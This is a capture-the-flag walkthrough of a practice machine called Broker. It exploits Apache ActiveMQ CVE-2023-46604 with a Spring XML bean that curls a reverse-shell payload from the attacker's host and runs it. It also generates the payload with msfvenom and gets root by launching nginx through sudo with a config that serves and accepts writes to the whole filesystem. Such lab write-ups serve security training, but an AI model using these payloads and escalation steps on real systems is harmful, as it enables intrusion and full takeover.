Target IP: 10.10.11.243

Initial Reconnaissance

Broker exposes a lot of ports for such a small box. I scanned all TCP ports first, then ran service detection against them.

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.243 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -sC -sV 10.10.11.243

The result was noisy, but almost everything pointed at one product:

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
|_  basic realm=ActiveMQRealm
1883/tcp  open  mqtt
5672/tcp  open  amqp?
8161/tcp  open  http       Jetty 9.4.39.v20210325
|_  basic realm=ActiveMQRealm
61613/tcp open  stomp      Apache ActiveMQ
61616/tcp open  apachemq   ActiveMQ OpenWire transport
|_    ProviderVersion  5.15.15

MQTT, AMQP, STOMP, OpenWire, a Jetty admin console behind HTTP basic auth: this is an Apache ActiveMQ box. The important detail is on port 61616: the OpenWire transport leaks ProviderVersion 5.15.15.

Apache ActiveMQ RCE (CVE-2023-46604)

ActiveMQ 5.15.15 is vulnerable to CVE-2023-46604. The OpenWire protocol lets a client trigger the server to instantiate an arbitrary class, and the classic path is to point it at a Spring XML that spawns a ProcessBuilder. There is a public proof of concept for exactly this.

git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
cd CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

The exploit takes a URL to a Spring XML file. I edited that XML so it downloads a reverse shell payload and runs it.

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>curl -s -o test.elf http://10.10.14.8:8001/test.elf; chmod +x ./test.elf; ./test.elf</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

Then I generated the payload and served both files from my machine.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.8 LPORT=5555 -f elf -o test.elf
python3 -m http.server 8001

The repository ships a prebuilt binary, but it did not run cleanly in my environment, so I built it from source with Go instead.

go build main.go
./main -i 10.10.11.243 -u http://10.10.14.8:8001/poc-linux.xml

The target fetched the XML, downloaded the payload, and connected back.

listening on [any] 5555 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.243] 34670

After upgrading the shell with Python, I had a session as activemq and could read the user flag.

python3 -c "import pty;pty.spawn('/bin/bash')"
cat user.txt

Privilege Escalation with sudo nginx

For privilege escalation, the first thing to check was sudo.

sudo -l

The activemq user could run nginx as root without a password.

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

Being able to run nginx as root is enough to read any file on the system. The idea is to start a second nginx instance with an attacker-controlled config that serves the whole filesystem, then read the target file over HTTP.

cat << 'EOF' > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
	server {
	        listen 1336;
	        root /;
	        autoindex on;
	        dav_methods PUT;
	}
}
EOF

sudo nginx -c /tmp/nginx_pwn.conf

One small gotcha: the port I picked has to be free. The box already listens on some high ports, so I used 1336 instead of a port that was already taken. With the config running as root, the root flag was a single request away.

curl localhost:1336/root/root.txt

ec7149b8385c0af9481579cf1a8f888d

The same dav_methods PUT line also allows writing files as root, so this primitive is not just a file read: it is a full root compromise (for example, dropping an SSH key or a cron job).

Takeaways

Broker is a straight-line box, and both halves come down to reading a version string carefully. The OpenWire transport happily advertised 5.15.15, which maps directly to CVE-2023-46604, and sudo -l handed over nginx.

The privilege escalation is a good reminder that “just a web server” is a dangerous thing to hand out over sudo. Once a service that reads and writes arbitrary paths runs as root, its config file becomes an arbitrary file read/write primitive.